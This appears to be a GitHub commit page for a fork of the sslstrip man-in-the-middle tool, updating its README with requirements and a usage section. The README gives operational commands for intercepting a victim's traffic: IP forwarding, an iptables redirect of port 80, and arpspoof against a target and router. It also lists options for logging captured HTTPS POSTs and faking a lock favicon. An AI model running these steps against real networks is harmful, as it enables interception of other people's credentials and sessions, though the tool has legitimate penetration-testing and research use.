forked from moxie0/sslstrip
-
Notifications
You must be signed in to change notification settings - Fork 13
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
cleanup/docs: update README, add usage section
Signed-off-by: K.B.Dharun Krishna <[email protected]>
- Loading branch information
Showing
2 changed files
with
65 additions
and
23 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -272,4 +272,4 @@ dmypy.json | |
cython_debug/ | ||
|
||
# Add sslstrip log files | ||
sslstrip.log | ||
sslstrip.log |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,24 +1,66 @@ | ||
sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks. | ||
# sslstrip | ||
|
||
`sslstrip` is an MITM tool that implements Moxie Marlinspike's SSL stripping attacks. | ||
|
||
Ported from Python v2 to v3 by Jay Townsend (theHarvester, Discover, and DNSrecon). | ||
* [](https://twitter.com/jay_townsend1) Jay "L1ghtn1ng" Townsend @jay_townsend1 | ||
|
||
Requirements: | ||
```pip3 install -r requirements.txt``` | ||
Install the requirements in a virtualenv | ||
|
||
Running: | ||
sslstrip can be run from the source base without installation. | ||
Run as a normal user to see options. | ||
```python3 sslstrip.py -h``` | ||
|
||
1. As root, enable IP forwarding:<br> | ||
```echo "1" > /proc/sys/net/ipv4/ip_forward``` | ||
|
||
2. As root, setup iptables to intercept HTTP requests:<br> | ||
```iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <your listen port>``` | ||
|
||
3. Run sslstrip with the options you prefer. | ||
|
||
4. As root, run arpspoof to redirect traffic to your host:<br> | ||
```arpspoof -i <your network interface> -t <target IP> <routers IP>``` | ||
|
||
- [](https://twitter.com/jay_townsend1) Jay "L1ghtn1ng" Townsend @jay_townsend1 | ||
|
||
## Requirements | ||
|
||
`pip3 install -r requirements.txt` | ||
|
||
> [!NOTE] | ||
> Install the requirements in a virtual environment (`venv`). | ||
## Usage | ||
|
||
```sh | ||
$ python3 sslstrip.py | ||
usage: sslstrip.py [-h] [-w WRITE] [-p] [-s] [-a] | ||
[-l LISTEN] [-f] [-k] | ||
|
||
sslstrip | ||
|
||
options: | ||
-h, --help show this help message and exit | ||
-w WRITE, --write WRITE | ||
Specify file to log to | ||
(optional). | ||
-p, --post Log only SSL POSTs. (default) | ||
-s, --ssl Log all SSL traffic to and from | ||
server. | ||
-a, --all Log all SSL and HTTP traffic to | ||
and from server. | ||
-l LISTEN, --listen LISTEN | ||
Port to listen on. | ||
-f, --favicon Substitute a lock favicon on | ||
secure requests. | ||
-k, --killsessions Kill sessions in progress. | ||
``` | ||
|
||
### Running | ||
|
||
`sslstrip` can be run from the source base without installation. | ||
|
||
#### Running as normal user | ||
|
||
To run as a normal user to see options: | ||
|
||
`python3 sslstrip.py -h` | ||
|
||
#### Running as root user | ||
|
||
1. Enable IP forwarding: | ||
|
||
`echo "1" > /proc/sys/net/ipv4/ip_forward` | ||
|
||
2. Setup `iptables` to intercept HTTP requests: | ||
|
||
`iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <your listen port>` | ||
|
||
3. Run `sslstrip` with the options you prefer. | ||
|
||
4. Run `arpspoof` to redirect traffic to your host: | ||
|
||
`arpspoof -i <your network interface> -t <target IP> <routers IP>` |